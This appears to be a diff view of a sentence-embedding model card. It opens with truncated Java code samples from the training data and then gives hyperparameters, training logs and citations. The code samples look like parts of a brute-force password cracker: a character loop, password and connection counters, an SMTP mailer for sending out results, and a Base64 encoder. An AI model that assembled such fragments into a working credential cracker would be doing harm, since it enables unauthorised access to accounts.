'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z',
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i',
'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r',
's', 't', 'u', 'v', 'w', 'x', 'y', 'z' };


while(index1 < NUM_CHARS)
{
index2 = 0;

while(index2 < NUM_CHARS)
{
...
|



public class HoldSharedData
{
private int numOfConnections = 0;
private int startTime;
private int totalTime = 0;
private String[] password;
private int pwdCount;

public HoldSharedData( int time, String[] pwd, int count )
{
startTime = time;

password = pwd;
pwdCount = count;
}

public int getPwdCount()
{
return pwdCount;
}

public void setNumOfConnections( )
{
numOfConnections ++;
}

public int getNumOfConnections()
{
return numOfConnections;
}

public int getStartTime()
{
return startTime;
}

public void setTotalTime( int newTotalTime )
{
totalTime = newTotalTime;
}

public int getTotalTime()
{
return totalTime;
}

public String getPasswordAt( int index )
{
return password[index];
}
}
| 0 | + |

import java.net.*;
import java.io.*;

public class sendMail {

public void sendMail(String mailServer, String recipient, String result) {
try {
Socket s = new Socket(mailServer, 25);
BufferedReader in = new BufferedReader
(new InputStreamReader(s.getInputStream(), "8859_1"));
BufferedWriter out = new BufferedWriter
(new OutputStreamWriter(s.getOutputStream(), "8859_1"));

send(in, out, "HELO client");

send(in, out, "MAIL FROM: ");
send(in, out, "RCPT : " + recipient);
send(in, out, "DATA");
send(out, "Subject: ");
send(out, "From: Admin ");
send (out, "\n");

send(out, result);
send(out, "\n.\n");
send(in, out, "QUIT");

}
catch (Exception e) {
e.printStackTrace();
}
}

public void send(BufferedReader in, BufferedWriter out, String s) {
try {
out.write(s + "\n");
out.flush();
Sys...
|

import java.net.*;
import java.io.*;

public class Base64Encoder
{
private final static char base64Array [] = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/'
};

public static String encode (String string)
{
String encodedString = "";
byte bytes [] = string.getBytes ();
int i = 0;
int pad = 0;
while (i < bytes.length)
{
byte b1 = bytes [i++];
byte b2;
byte b3;
if (i >= bytes.length)
{
b2 = 0;
b3 = 0;
pad = 2;
}
else
{
b2 = bytes [i++];
if (i >= bytes.length)
...
| 0 | +* Loss: [BatchAllTripletLoss](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#batchalltripletloss) + +### Training Hyperparameters +#### Non-Default Hyperparameters + +- `per_device_train_batch_size`: 16 +- `per_device_eval_batch_size`: 16 +- `num_train_epochs`: 1 +- `multi_dataset_batch_sampler`: round_robin + +#### All Hyperparameters +
Click to expand + +- `overwrite_output_dir`: False +- `do_predict`: False +- `eval_strategy`: no +- `prediction_loss_only`: True +- `per_device_train_batch_size`: 16 +- `per_device_eval_batch_size`: 16 +- `per_gpu_train_batch_size`: None +- `per_gpu_eval_batch_size`: None +- `gradient_accumulation_steps`: 1 +- `eval_accumulation_steps`: None +- `torch_empty_cache_steps`: None +- `learning_rate`: 5e-05 +- `weight_decay`: 0.0 +- `adam_beta1`: 0.9 +- `adam_beta2`: 0.999 +- `adam_epsilon`: 1e-08 +- `max_grad_norm`: 1 +- `num_train_epochs`: 1 +- `max_steps`: -1 +- `lr_scheduler_type`: linear +- `lr_scheduler_kwargs`: {} +- `warmup_ratio`: 0.0 +- `warmup_steps`: 0 +- `log_level`: passive +- `log_level_replica`: warning +- `log_on_each_node`: True +- `logging_nan_inf_filter`: True +- `save_safetensors`: True +- `save_on_each_node`: False +- `save_only_model`: False +- `restore_callback_states_from_checkpoint`: False +- `no_cuda`: False +- `use_cpu`: False +- `use_mps_device`: False +- `seed`: 42 +- `data_seed`: None +- `jit_mode_eval`: False +- `use_ipex`: False +- `bf16`: False +- `fp16`: False +- `fp16_opt_level`: O1 +- `half_precision_backend`: auto +- `bf16_full_eval`: False +- `fp16_full_eval`: False +- `tf32`: None +- `local_rank`: 0 +- `ddp_backend`: None +- `tpu_num_cores`: None +- `tpu_metrics_debug`: False +- `debug`: [] +- `dataloader_drop_last`: False +- `dataloader_num_workers`: 0 +- `dataloader_prefetch_factor`: None +- `past_index`: -1 +- `disable_tqdm`: False +- `remove_unused_columns`: True +- `label_names`: None +- `load_best_model_at_end`: False +- `ignore_data_skip`: False +- `fsdp`: [] +- `fsdp_min_num_params`: 0 +- `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False} +- `fsdp_transformer_layer_cls_to_wrap`: None +- `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None} +- `deepspeed`: None +- `label_smoothing_factor`: 0.0 +- `optim`: adamw_torch +- `optim_args`: None +- `adafactor`: False +- `group_by_length`: False +- `length_column_name`: length +- `ddp_find_unused_parameters`: None +- `ddp_bucket_cap_mb`: None +- `ddp_broadcast_buffers`: False +- `dataloader_pin_memory`: True +- `dataloader_persistent_workers`: False +- `skip_memory_metrics`: True +- `use_legacy_prediction_loop`: False +- `push_to_hub`: False +- `resume_from_checkpoint`: None +- `hub_model_id`: None +- `hub_strategy`: every_save +- `hub_private_repo`: None +- `hub_always_push`: False +- `gradient_checkpointing`: False +- `gradient_checkpointing_kwargs`: None +- `include_inputs_for_metrics`: False +- `include_for_metrics`: [] +- `eval_do_concat_batches`: True +- `fp16_backend`: auto +- `push_to_hub_model_id`: None +- `push_to_hub_organization`: None +- `mp_parameters`: +- `auto_find_batch_size`: False +- `full_determinism`: False +- `torchdynamo`: None +- `ray_scope`: last +- `ddp_timeout`: 1800 +- `torch_compile`: False +- `torch_compile_backend`: None +- `torch_compile_mode`: None +- `include_tokens_per_second`: False +- `include_num_input_tokens_seen`: False +- `neftune_noise_alpha`: None +- `optim_target_modules`: None +- `batch_eval_metrics`: False +- `eval_on_start`: False +- `use_liger_kernel`: False +- `eval_use_gather_object`: False +- `average_tokens_across_devices`: False +- `prompts`: None +- `batch_sampler`: batch_sampler +- `multi_dataset_batch_sampler`: round_robin + +
+ +### Training Logs +| Epoch | Step | Training Loss | +|:------:|:----:|:-------------:| +| 0.2393 | 500 | 0.1754 | +| 0.4787 | 1000 | 0.1994 | +| 0.7180 | 1500 | 0.209 | +| 0.9574 | 2000 | 0.1941 | + + +### Framework Versions +- Python: 3.11.13 +- Sentence Transformers: 4.1.0 +- Transformers: 4.52.4 +- PyTorch: 2.6.0+cu124 +- Accelerate: 1.7.0 +- Datasets: 3.6.0 +- Tokenizers: 0.21.1 + +## Citation + +### BibTeX + +#### Sentence Transformers +```bibtex +@inproceedings{reimers-2019-sentence-bert, + title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks", + author = "Reimers, Nils and Gurevych, Iryna", + booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing", + month = "11", + year = "2019", + publisher = "Association for Computational Linguistics", + url = "https://arxiv.org/abs/1908.10084", +} +``` + +#### BatchAllTripletLoss +```bibtex +@misc{hermans2017defense, + title={In Defense of the Triplet Loss for Person Re-Identification}, + author={Alexander Hermans and Lucas Beyer and Bastian Leibe}, + year={2017}, + eprint={1703.07737}, + archivePrefix={arXiv}, + primaryClass={cs.CV} +} +``` + + + + + + \ No newline at end of file